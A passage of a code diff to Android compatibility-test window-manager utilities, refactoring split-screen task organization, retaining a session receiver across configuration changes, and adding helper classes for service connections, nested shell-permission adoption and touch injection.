             if (DEBUG) {
-                Log.i(TAG, mHostId + "(" + mContext.getClass().getSimpleName()
+                Log.i(TAG, mHostId + "("
+                        + (mCallback != null
+                                ? mCallback.getClass().getName()
+                                : mContext.getClass().getName())
                         + ") receives " + commandIntentToString(intent));
             }
-            mCallback.receiveCommand(intent.getStringExtra(KEY_COMMAND), intent.getExtras());
+            if (mCallback == null) {
+                if (mPendingIntents == null) {
+                    mPendingIntents = new ArrayList<>();
+                }
+                mPendingIntents.add(intent);
+                return;
+            }
+            dispatchCommand(mCallback, intent);
+        }
+
+        private static void dispatchCommand(CommandReceiver callback, Intent intent) {
+            callback.receiveCommand(intent.getStringExtra(KEY_COMMAND), intent.getExtras());
         }
 
         void reply(String command, Bundle data) {
@@ -572,7 +596,17 @@
             }
         }
 
-        void destory() {
+        void setCallback(CommandReceiver callback) {
+            if (mPendingIntents != null && mCallback == null && callback != null) {
+                for (Intent intent : mPendingIntents) {
+                    dispatchCommand(callback, intent);
+                }
+                mPendingIntents = null;
+            }
+            mCallback = callback;
+        }
+
+        void destroy() {
             mContext.unregisterReceiver(this);
         }
     }
@@ -664,19 +698,31 @@
                 if (sCommandStorage == null) {
                     sCommandStorage = new CommandStorage();
                 }
-                mReceiver = new ActivitySessionHost(this /* context */, hostId, clientId,
-                        this /* callback */);
+                final Object receiver = getLastNonConfigurationInstance();
+                if (receiver instanceof ActivitySessionHost) {
+                    mReceiver = (ActivitySessionHost) receiver;
+                    mReceiver.setCallback(this);
+                } else {
+                    mReceiver = new ActivitySessionHost(getApplicationContext(), hostId, clientId,
+                            this /* callback */);
+                }
             }
         }
 
         @Override
         protected void onDestroy() {
             super.onDestroy();
-            if (mReceiver != null) {
-                if (!isChangingConfigurations()) {
-                    sCommandStorage.clear(getHostId());
+            if (isChangingConfigurations()) {
+                // Detach the callback if the activity is relaunching. The callback will be
+                // associated again in onCreate.
+                if (mReceiver != null) {
+                    mReceiver.setCallback(null);
                 }
-                mReceiver.destory();
+            } else if (mReceiver != null) {
+                // Clean up for real removal.
+                sCommandStorage.clear(getHostId());
+                mReceiver.destroy();
+                mReceiver = null;
             }
             if (mTestJournalClient != null) {
                 mTestJournalClient.close();
@@ -684,6 +730,11 @@
         }
 
         @Override
+        public Object onRetainNonConfigurationInstance() {
+            return mReceiver;
+        }
+
+        @Override
         public final void receiveCommand(String command, Bundle data) {
             if (mReceiver == null) {
                 throw new IllegalStateException("The receiver is not created");
@@ -732,6 +783,7 @@
         private static final StaticHostStorage<ActivityCallback> sCallbackStorage =
                 new StaticHostStorage<>();
 
+        private final String mTag = getClass().getSimpleName();
         protected boolean mPrintCallbackLog;
 
         @Override
@@ -798,6 +850,13 @@
                     runWhenIdle(() -> reply(command));
                     break;
 
+                case COMMAND_GET_NAME: {
+                    final Bundle result = new Bundle();
+                    result.putParcelable(COMMAND_GET_NAME, getComponentName());
+                    reply(COMMAND_GET_NAME, result);
+                    break;
+                }
+
                 case COMMAND_DISPLAY_ACCESS_CHECK:
                     final Bundle result = new Bundle();
                     final boolean displayHasAccess = getDisplay().hasAccess(Process.myUid());
@@ -941,7 +1000,7 @@
         }
 
         protected String getTag() {
-            return getClass().getSimpleName();
+            return mTag;
         }
 
         /** Get configuration and display info. It should be called only after resumed. */
@@ -1078,6 +1137,10 @@
         public int smallestWidthDp;
         public int densityDpi;
         public int orientation;
+        public int windowWidth;
+        public int windowHeight;
+        public int windowAppWidth;
+        public int windowAppHeight;
 
         SizeInfo() {
         }
@@ -1097,6 +1160,10 @@
             smallestWidthDp = config.smallestScreenWidthDp;
             densityDpi = config.densityDpi;
             orientation = config.orientation;
+            windowWidth = config.windowConfiguration.getBounds().width();
+            windowHeight = config.windowConfiguration.getBounds().height();
+            windowAppWidth = config.windowConfiguration.getAppBounds().width();
+            windowAppHeight = config.windowConfiguration.getAppBounds().height();
         }
 
         @Override
@@ -1105,6 +1172,8 @@
                     + " displayWidth=" + displayWidth + " displayHeight=" + displayHeight
                     + " metricsWidth=" + metricsWidth + " metricsHeight=" + metricsHeight
                     + " smallestWidthDp=" + smallestWidthDp + " densityDpi=" + densityDpi
+                    + " windowWidth=" + windowWidth + " windowHeight=" + windowHeight
+                    + " windowAppWidth=" + windowAppWidth + " windowAppHeight=" + windowAppHeight
                     + " orientation=" + orientation + "}";
         }
 
@@ -1125,7 +1194,11 @@
                     && metricsHeight == that.metricsHeight
                     && smallestWidthDp == that.smallestWidthDp
                     && densityDpi == that.densityDpi
-                    && orientation == that.orientation;
+                    && orientation == that.orientation
+                    && windowWidth == that.windowWidth
+                    && windowHeight == that.windowHeight
+                    && windowAppWidth == that.windowAppWidth
+                    && windowAppHeight == that.windowAppHeight;
         }
 
         @Override
@@ -1140,6 +1213,10 @@
             result = 31 * result + smallestWidthDp;
             result = 31 * result + densityDpi;
             result = 31 * result + orientation;
+            result = 31 * result + windowWidth;
+            result = 31 * result + windowHeight;
+            result = 31 * result + windowAppWidth;
+            result = 31 * result + windowAppHeight;
             return result;
         }
 
@@ -1159,6 +1236,10 @@
             dest.writeInt(smallestWidthDp);
             dest.writeInt(densityDpi);
             dest.writeInt(orientation);
+            dest.writeInt(windowWidth);
+            dest.writeInt(windowHeight);
+            dest.writeInt(windowAppWidth);
+            dest.writeInt(windowAppHeight);
         }
 
         public void readFromParcel(Parcel in) {
@@ -1171,6 +1252,10 @@
             smallestWidthDp = in.readInt();
             densityDpi = in.readInt();
             orientation = in.readInt();
+            windowWidth = in.readInt();
+            windowHeight = in.readInt();
+            windowAppWidth = in.readInt();
+            windowAppHeight = in.readInt();
         }
 
         public static final Creator<SizeInfo> CREATOR = new Creator<SizeInfo>() {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java b/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java
new file mode 100644
index 0000000..cfe1254
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.content.ComponentName;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
+
+import javax.annotation.Nullable;
+
+public class FutureConnection<T extends IInterface> implements ServiceConnection {
+    private static final String TAG = "FutureServiceConnection";
+
+    private final Function<IBinder, T> mConverter;
+    private volatile CompletableFuture<IBinder> mFuture = new CompletableFuture<>();
+
+    public FutureConnection(Function<IBinder, T> converter) {
+        mConverter = converter;
+    }
+
+    public T get(long timeoutMs) throws Exception {
+        return mConverter.apply(mFuture.get(timeoutMs, TimeUnit.MILLISECONDS));
+    }
+
+    @Nullable
+    public T getCurrent() {
+        return mConverter.apply(mFuture.getNow(null));
+    }
+
+    @Override
+    public void onServiceConnected(ComponentName name, IBinder service) {
+        mFuture.complete(service);
+    }
+
+    @Override
+    public void onServiceDisconnected(ComponentName name) {
+        Log.w(TAG, name.flattenToShortString() + " disconnected");
+        mFuture = new CompletableFuture<>();
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/NestedShellPermission.java b/tests/framework/base/windowmanager/util/src/android/server/wm/NestedShellPermission.java
new file mode 100644
index 0000000..860099d
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/NestedShellPermission.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.app.UiAutomation;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * Helper to run code that might end up with nested permission requirements (eg. TaskOrganizer).
+ */
+public class NestedShellPermission {
+    private static NestedShellPermission sInstance;
+
+    private int mPermissionDepth = 0;
+
+    private NestedShellPermission() {}
+
+    synchronized private static NestedShellPermission getInstance() {
+        if (sInstance == null) {
+            sInstance = new NestedShellPermission();
+        }
+        return sInstance;
+    }
+
+    /**
+     * Similar to SystemUtil.runWithShellPermissionIdentity except it supports nesting. Use this
+     * with anything that interacts with TestTaskOrganizer since async operations are common.
+     */
+    public static void run(Runnable action) {
+        final NestedShellPermission self = getInstance();
+        final UiAutomation automan =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        synchronized (self) {
+            if (0 == self.mPermissionDepth++) {
+                automan.adoptShellPermissionIdentity();
+            }
+        }
+        try {
+            action.run();
+        } finally {
+            synchronized (self) {
+                if (0 == --self.mPermissionDepth) {
+                    automan.dropShellPermissionIdentity();
+                }
+            }
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ProtoExtractors.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ProtoExtractors.java
index ff47a7e..1f15ea3 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ProtoExtractors.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ProtoExtractors.java
@@ -53,6 +53,8 @@
             return config;
         }
         config.setAppBounds(extract(proto.appBounds));
+        config.setBounds(extract(proto.bounds));
+        config.setMaxBounds(extract(proto.maxBounds));
         config.setWindowingMode(proto.windowingMode);
         config.setActivityType(proto.activityType);
         return config;
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index 9df1fc8..c0296a4 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -16,166 +16,391 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import android.app.ActivityManager;
-import android.view.Display;
+import android.content.Context;
+import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.SystemClock;
+import android.util.ArraySet;
+import android.util.Log;
+import android.view.Surface;
 import android.view.SurfaceControl;
+import android.view.WindowManager;
+import android.window.TaskAppearedInfo;
 import android.window.TaskOrganizer;
+import android.window.WindowContainerToken;
 import android.window.WindowContainerTransaction;
 
 import androidx.annotation.NonNull;
 
-import java.util.ArrayList;
+import org.junit.Assert;
+
 import java.util.HashMap;
 import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
 
-class TestTaskOrganizer extends TaskOrganizer {
+public class TestTaskOrganizer extends TaskOrganizer {
+    private static final String TAG = TestTaskOrganizer.class.getSimpleName();
+    public static final int INVALID_TASK_ID = -1;
 
     private boolean mRegistered;
-    final HashMap<Integer, ActivityManager.RunningTaskInfo> mKnownTasks = new HashMap<>();
     private ActivityManager.RunningTaskInfo mRootPrimary;
-    private boolean mRootPrimaryHasChild;
     private ActivityManager.RunningTaskInfo mRootSecondary;
+    private IBinder mPrimaryCookie;
+    private IBinder mSecondaryCookie;
+    private final HashMap<Integer, ActivityManager.RunningTaskInfo> mKnownTasks = new HashMap<>();
+    private final ArraySet<Integer> mPrimaryChildrenTaskIds = new ArraySet<>();
+    private final ArraySet<Integer> mSecondaryChildrenTaskIds = new ArraySet<>();
+    private final Rect mPrimaryBounds = new Rect();
+    private final Rect mSecondaryBounds = new Rect();
+    private final Context mContext;
+
+    private static final int[] CONTROLLED_ACTIVITY_TYPES = {
+            ACTIVITY_TYPE_STANDARD,
+            ACTIVITY_TYPE_HOME,
+            ACTIVITY_TYPE_RECENTS,
+            ACTIVITY_TYPE_UNDEFINED
+    };
+    private static final int[] CONTROLLED_WINDOWING_MODES = {
+            WINDOWING_MODE_FULLSCREEN,
+            WINDOWING_MODE_MULTI_WINDOW,
+            WINDOWING_MODE_UNDEFINED
+    };
+
+    public TestTaskOrganizer(Context context) {
+        super();
+        mContext = context;
+    }
+
+    @Override
+    public List<TaskAppearedInfo> registerOrganizer() {
+        final Rect bounds = mContext.createDisplayContext(
+                mContext.getSystemService(DisplayManager.class)
+                        .getDisplay(DEFAULT_DISPLAY)).getSystemService(WindowManager.class)
+                .getCurrentWindowMetrics()
+                .getBounds();
+        final boolean isLandscape = bounds.width() > bounds.height();
+        if (isLandscape) {
+            bounds.splitVertically(mPrimaryBounds, mSecondaryBounds);
+        } else {
+            bounds.splitHorizontally(mPrimaryBounds, mSecondaryBounds);
+        }
+        Log.i(TAG, "registerOrganizer with PrimaryBounds=" + mPrimaryBounds
+                + " SecondaryBounds=" + mSecondaryBounds);
+
+        synchronized (this) {
+            final List<TaskAppearedInfo> taskInfos = super.registerOrganizer();
+            for (int i = 0; i < taskInfos.size(); i++) {
+                final TaskAppearedInfo info = taskInfos.get(i);
+                onTaskAppeared(info.getTaskInfo(), info.getLeash());
+            }
+            createRootTasksIfNeeded();
+            return taskInfos;
+        }
+    }
+
+    private void createRootTasksIfNeeded() {
+        synchronized (this) {
+            if (mPrimaryCookie != null) return;
+            mPrimaryCookie = new Binder();
+            mSecondaryCookie = new Binder();
+
+            createRootTask(DEFAULT_DISPLAY, WINDOWING_MODE_MULTI_WINDOW, mPrimaryCookie);
+            createRootTask(DEFAULT_DISPLAY, WINDOWING_MODE_MULTI_WINDOW, mSecondaryCookie);
+
+            waitForAndAssert(o -> mRootPrimary != null && mRootSecondary != null,
+                    "Failed to get root tasks");
+            Log.e(TAG, "createRootTasksIfNeeded primary=" + mRootPrimary.taskId
+                    + " secondary=" + mRootSecondary.taskId);
+
+            // Set the roots as adjacent to each other.
+            final WindowContainerTransaction wct = new WindowContainerTransaction();
+            wct.setAdjacentRoots(mRootPrimary.getToken(), mRootSecondary.getToken());
+            applyTransaction(wct);
+        }
+    }
+
+    private void waitForAndAssert(Predicate<Object> condition, String failureMessage) {
+        waitFor(condition);
+        if (!condition.test(this)) {
+            Assert.fail(failureMessage);
+        }
+    }
+
+    private void waitFor(Predicate<Object> condition) {
+        final long waitTillTime = SystemClock.elapsedRealtime() + TimeUnit.SECONDS.toMillis(5);
+        while (!condition.test(this)
+                && SystemClock.elapsedRealtime() < waitTillTime) {
+            try {
+                wait(TimeUnit.SECONDS.toMillis(5));
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
 
     private void registerOrganizerIfNeeded() {
         if (mRegistered) return;
 
-        registerOrganizer(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-        registerOrganizer(WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        registerOrganizer();
         mRegistered = true;
     }
 
-    void unregisterOrganizerIfNeeded() {
-        if (!mRegistered) return;
-        mRegistered = false;
+    public void unregisterOrganizerIfNeeded() {
+        synchronized (this) {
+            if (!mRegistered) return;
+            mRegistered = false;
 
-        dismissedSplitScreen();
-        super.unregisterOrganizer();
+            NestedShellPermission.run(() -> {
+                dismissedSplitScreen();
+
+                deleteRootTask(mRootPrimary.getToken());
+                mRootPrimary = null;
+                mPrimaryCookie = null;
+                mPrimaryChildrenTaskIds.clear();
+                deleteRootTask(mRootSecondary.getToken());
+                mRootSecondary = null;
+                mSecondaryCookie = null;
+                mSecondaryChildrenTaskIds.clear();
+
+                super.unregisterOrganizer();
+            });
+        }
     }
 
-    void putTaskInSplitPrimary(int taskId) {
-        registerOrganizerIfNeeded();
-        ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
-        final WindowContainerTransaction t = new WindowContainerTransaction();
-        t.setBounds(taskInfo.getToken(), null);
-        t.reparent(taskInfo.getToken(), mRootPrimary.getToken(), true /* onTop */);
-        t.reorder(mRootPrimary.getToken(), true /* onTop */);
-        applyTransaction(t);
+    public void putTaskInSplitPrimary(int taskId) {
+        NestedShellPermission.run(() -> {
+            synchronized (this) {
+                registerOrganizerIfNeeded();
+                ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setBounds(mRootPrimary.getToken(), mPrimaryBounds)
+                        .setBounds(taskInfo.getToken(), null)
+                        .setWindowingMode(taskInfo.getToken(), WINDOWING_MODE_UNDEFINED)
+                        .reparent(taskInfo.getToken(), mRootPrimary.getToken(), true /* onTop */)
+                        .reorder(mRootPrimary.getToken(), true /* onTop */);
+                applyTransaction(t);
+
+                waitForAndAssert(
+                        o -> mPrimaryChildrenTaskIds.contains(taskId),
+                        "Can't put putTaskInSplitPrimary taskId=" + taskId);
+
+                Log.e(TAG, "putTaskInSplitPrimary taskId=" + taskId);
+            }
+        });
+    }
+
+    public void putTaskInSplitSecondary(int taskId) {
+        NestedShellPermission.run(() -> {
+            synchronized (this) {
+                registerOrganizerIfNeeded();
+                ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setBounds(mRootSecondary.getToken(), mSecondaryBounds)
+                        .setBounds(taskInfo.getToken(), null)
+                        .setWindowingMode(taskInfo.getToken(), WINDOWING_MODE_UNDEFINED)
+                        .reparent(taskInfo.getToken(), mRootSecondary.getToken(), true /* onTop */)
+                        .reorder(mRootSecondary.getToken(), true /* onTop */);
+                applyTransaction(t);
+
+                waitForAndAssert(
+                        o -> mSecondaryChildrenTaskIds.contains(taskId),
+                        "Can't put putTaskInSplitSecondary taskId=" + taskId);
+
+                Log.e(TAG, "putTaskInSplitSecondary taskId=" + taskId);
+            }
+        });
+    }
+
+    public void setLaunchRoot(int taskId) {
+        NestedShellPermission.run(() -> {
+            synchronized (this) {
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setLaunchRoot(mKnownTasks.get(taskId).getToken(),
+                                CONTROLLED_WINDOWING_MODES, CONTROLLED_ACTIVITY_TYPES);
+                applyTransaction(t);
+            }
+        });
     }
 
     void dismissedSplitScreen() {
-        // Re-set default launch root.
-        TaskOrganizer.setLaunchRoot(Display.DEFAULT_DISPLAY, null);
-
-        // Re-parent everything back to the display from the splits so that things are as they were.
-        final List<ActivityManager.RunningTaskInfo> children = new ArrayList<>();
-        final List<ActivityManager.RunningTaskInfo> primaryChildren =
-                getChildTasks(mRootPrimary.getToken(), null /* activityTypes */);
-        if (primaryChildren != null && !primaryChildren.isEmpty()) {
-            children.addAll(primaryChildren);
-        }
-        final List<ActivityManager.RunningTaskInfo> secondaryChildren =
-                getChildTasks(mRootSecondary.getToken(), null /* activityTypes */);
-        if (secondaryChildren != null && !secondaryChildren.isEmpty()) {
-            children.addAll(secondaryChildren);
-        }
-        if (children.isEmpty()) {
-            return;
-        }
-
-        final WindowContainerTransaction t = new WindowContainerTransaction();
-        for (ActivityManager.RunningTaskInfo task : children) {
-            t.reparent(task.getToken(), null /* parent */, true /* onTop */);
-        }
-        applyTransaction(t);
+        dismissedSplitScreen(false /* primaryOnTop */);
     }
 
-    /** Also completes the process of entering split mode. */
-    private void processRootPrimaryTaskInfoChanged() {
-        List<ActivityManager.RunningTaskInfo> children =
-                getChildTasks(mRootPrimary.getToken(), null /* activityTypes */);
-        final boolean hasChild = !children.isEmpty();
-        if (mRootPrimaryHasChild == hasChild) return;
-        mRootPrimaryHasChild = hasChild;
-        if (!hasChild) return;
+    void dismissedSplitScreen(boolean primaryOnTop) {
+        synchronized (this) {
+            NestedShellPermission.run(() -> {
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setLaunchRoot(
+                                mRootPrimary.getToken(),
+                                null,
+                                null)
+                        .setLaunchRoot(
+                                mRootSecondary.getToken(),
+                                null,
+                                null)
+                        .reparentTasks(
+                                primaryOnTop ? mRootSecondary.getToken() : mRootPrimary.getToken(),
+                                null /* newParent */,
+                                CONTROLLED_WINDOWING_MODES,
+                                CONTROLLED_ACTIVITY_TYPES,
+                                true /* onTop */)
+                        .reparentTasks(
+                                primaryOnTop ? mRootPrimary.getToken() : mRootSecondary.getToken(),
+                                null /* newParent */,
+                                CONTROLLED_WINDOWING_MODES,
+                                CONTROLLED_ACTIVITY_TYPES,
+                                true /* onTop */);
+                applyTransaction(t);
+            });
+        }
+    }
 
-        // Finish entering split-screen mode
+    void setRootPrimaryTaskBounds(Rect bounds) {
+        setTaskBounds(mRootPrimary.getToken(), bounds);
+    }
 
-        // Set launch root for the default display to secondary...for no good reason...
-        setLaunchRoot(DEFAULT_DISPLAY, mRootSecondary.getToken());
+    void setRootSecondaryTaskBounds(Rect bounds) {
+        setTaskBounds(mRootSecondary.getToken(), bounds);
+    }
 
-        List<ActivityManager.RunningTaskInfo> rootTasks =
-                getRootTasks(DEFAULT_DISPLAY, null /* activityTypes */);
-        if (rootTasks.isEmpty()) return;
-        // Move all root fullscreen task to secondary split.
-        final WindowContainerTransaction t = new WindowContainerTransaction();
-        for (int i = rootTasks.size() - 1; i >= 0; --i) {
-            final ActivityManager.RunningTaskInfo task = rootTasks.get(i);
-            if (task.getConfiguration().windowConfiguration.getWindowingMode()
-                    == WINDOWING_MODE_FULLSCREEN) {
-                t.reparent(task.getToken(), mRootSecondary.getToken(), true /* onTop */);
+    public Rect getPrimaryTaskBounds() {
+        return mPrimaryBounds;
+    }
+
+    public Rect getSecondaryTaskBounds() {
+        return mSecondaryBounds;
+    }
+
+    private void setTaskBounds(WindowContainerToken container, Rect bounds) {
+        synchronized (this) {
+            NestedShellPermission.run(() -> {
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setBounds(container, bounds);
+                applyTransaction(t);
+            });
+        }
+    }
+
+    int getPrimarySplitTaskCount() {
+        return mPrimaryChildrenTaskIds.size();
+    }
+
+    int getSecondarySplitTaskCount() {
+        return mSecondaryChildrenTaskIds.size();
+    }
+
+    public int getPrimarySplitTaskId() {
+        return mRootPrimary != null ? mRootPrimary.taskId : INVALID_TASK_ID;
+    }
+
+    public int getSecondarySplitTaskId() {
+        return mRootSecondary != null ? mRootSecondary.taskId : INVALID_TASK_ID;
+    }
+
+    ActivityManager.RunningTaskInfo getTaskInfo(int taskId) {
+        synchronized (this) {
+            ActivityManager.RunningTaskInfo taskInfo = mKnownTasks.get(taskId);
+            if (taskInfo != null) return taskInfo;
+
+            final List<ActivityManager.RunningTaskInfo> rootTasks = getRootTasks(DEFAULT_DISPLAY,
+                    null);
+            for (ActivityManager.RunningTaskInfo info : rootTasks) {
+                addTask(info);
             }
+
+            return mKnownTasks.get(taskId);
         }
-        // Move the secondary split-forward.
-        t.reorder(mRootSecondary.getToken(), true /* onTop */);
-        applyTransaction(t);
-    }
-
-    private ActivityManager.RunningTaskInfo getTaskInfo(int taskId) {
-        ActivityManager.RunningTaskInfo taskInfo = mKnownTasks.get(taskId);
-        if (taskInfo != null) return taskInfo;
-
-        final List<ActivityManager.RunningTaskInfo> rootTasks = getRootTasks(DEFAULT_DISPLAY, null);
-        for (ActivityManager.RunningTaskInfo info : rootTasks) {
-            addTask(info);
-        }
-
-        return mKnownTasks.get(taskId);
     }
 
     @Override
     public void onTaskAppeared(@NonNull ActivityManager.RunningTaskInfo taskInfo,
             SurfaceControl leash) {
-        addTask(taskInfo);
+        synchronized (this) {
+            SurfaceControl.Transaction t = new SurfaceControl.Transaction();
+            t.setVisibility(leash, true /* visible */);
+            NestedShellPermission.run(() -> addTask(taskInfo, leash, t));
+            t.apply();
+        }
     }
 
     @Override
     public void onTaskVanished(@NonNull ActivityManager.RunningTaskInfo taskInfo) {
-        removeTask(taskInfo);
+        synchronized (this) {
+            removeTask(taskInfo);
+        }
     }
 
     @Override
     public void onTaskInfoChanged(ActivityManager.RunningTaskInfo taskInfo) {
-        addTask(taskInfo);
+        synchronized (this) {
+            NestedShellPermission.run(() -> addTask(taskInfo));
+        }
     }
 
     private void addTask(ActivityManager.RunningTaskInfo taskInfo) {
-        mKnownTasks.put(taskInfo.taskId, taskInfo);
+        addTask(taskInfo, null /* SurfaceControl */, null /* Transaction */);
+    }
 
-        final int windowingMode =
-                taskInfo.getConfiguration().windowConfiguration.getWindowingMode();
-        if (windowingMode == WINDOWING_MODE_SPLIT_SCREEN_PRIMARY
-                && (mRootPrimary == null || mRootPrimary.taskId == taskInfo.taskId)) {
-            mRootPrimary = taskInfo;
-            processRootPrimaryTaskInfoChanged();
+    private void addTask(ActivityManager.RunningTaskInfo taskInfo, SurfaceControl leash,
+            SurfaceControl.Transaction t) {
+        mKnownTasks.put(taskInfo.taskId, taskInfo);
+        notifyAll();
+        if (taskInfo.hasParentTask()){
+            if (mRootPrimary != null
+                    && mRootPrimary.taskId == taskInfo.getParentTaskId()) {
+                mPrimaryChildrenTaskIds.add(taskInfo.taskId);
+            } else if (mRootSecondary != null
+                    && mRootSecondary.taskId == taskInfo.getParentTaskId()) {
+                mSecondaryChildrenTaskIds.add(taskInfo.taskId);
+            }
+            return;
         }
 
-        if (windowingMode == WINDOWING_MODE_SPLIT_SCREEN_SECONDARY
-                && (mRootSecondary == null || mRootSecondary.taskId == taskInfo.taskId)) {
+        if (mRootPrimary == null
+                && mPrimaryCookie != null
+                && taskInfo.containsLaunchCookie(mPrimaryCookie)) {
+            mRootPrimary = taskInfo;
+            if (t != null && leash != null) {
+                t.setGeometry(leash, null, mPrimaryBounds, Surface.ROTATION_0);
+            }
+            return;
+        }
+
+        if (mRootSecondary == null
+                && mSecondaryCookie != null
+                && taskInfo.containsLaunchCookie(mSecondaryCookie)) {
             mRootSecondary = taskInfo;
+            if (t != null && leash != null) {
+                t.setGeometry(leash, null, mSecondaryBounds, Surface.ROTATION_0);
+            }
         }
     }
 
     private void removeTask(ActivityManager.RunningTaskInfo taskInfo) {
         final int taskId = taskInfo.taskId;
         // ignores cleanup on duplicated removal request
-        if (mKnownTasks.remove(taskId) != null) {
-            if (mRootPrimary != null && taskId == mRootPrimary.taskId) mRootPrimary = null;
-            if (mRootSecondary != null && taskId == mRootSecondary.taskId) mRootSecondary = null;
+        if (mKnownTasks.remove(taskId) == null) {
+            return;
+        }
+        mPrimaryChildrenTaskIds.remove(taskId);
+        mSecondaryChildrenTaskIds.remove(taskId);
+
+        if ((mRootPrimary != null && taskId == mRootPrimary.taskId)
+                || (mRootSecondary != null && taskId == mRootSecondary.taskId)) {
+            unregisterOrganizerIfNeeded();
         }
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
new file mode 100644
index 0000000..98183d4
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.StateLogger.log;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.graphics.Rect;
+import android.os.SystemClock;
+import android.view.InputDevice;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewConfiguration;
+
+public class TouchHelper {
+    public final Context mContext;
+    public final Instrumentation mInstrumentation;
+    public final WindowManagerStateHelper mWmState;
+
+    public TouchHelper(Instrumentation instrumentation, WindowManagerStateHelper wmState) {
+        mInstrumentation = instrumentation;
+        mContext = mInstrumentation.getContext();
+        mWmState = wmState;
+    }
+
+    /**
+     * Insert an input event (ACTION_DOWN -> ACTION_CANCEL) to ensures the display to be focused
+     * without triggering potential clicked to impact the test environment.
+     * (e.g: Keyguard credential activated unexpectedly.)
+     *
+     * @param displayId the display ID to gain focused by inject swipe action
+     */
+    public void touchAndCancelOnDisplayCenterSync(int displayId) {
+        WindowManagerState.DisplayContent dc = mWmState.getDisplay(displayId);
+        if (dc == null) {
+            // never get wm state before?
+            mWmState.computeState();
+            dc = mWmState.getDisplay(displayId);
+        }
+        if (dc == null) {
+            log("Cannot tap on display: " + displayId);
+            return;
+        }
+        final Rect bounds = dc.getDisplayRect();
+        final int x = bounds.left + bounds.width() / 2;
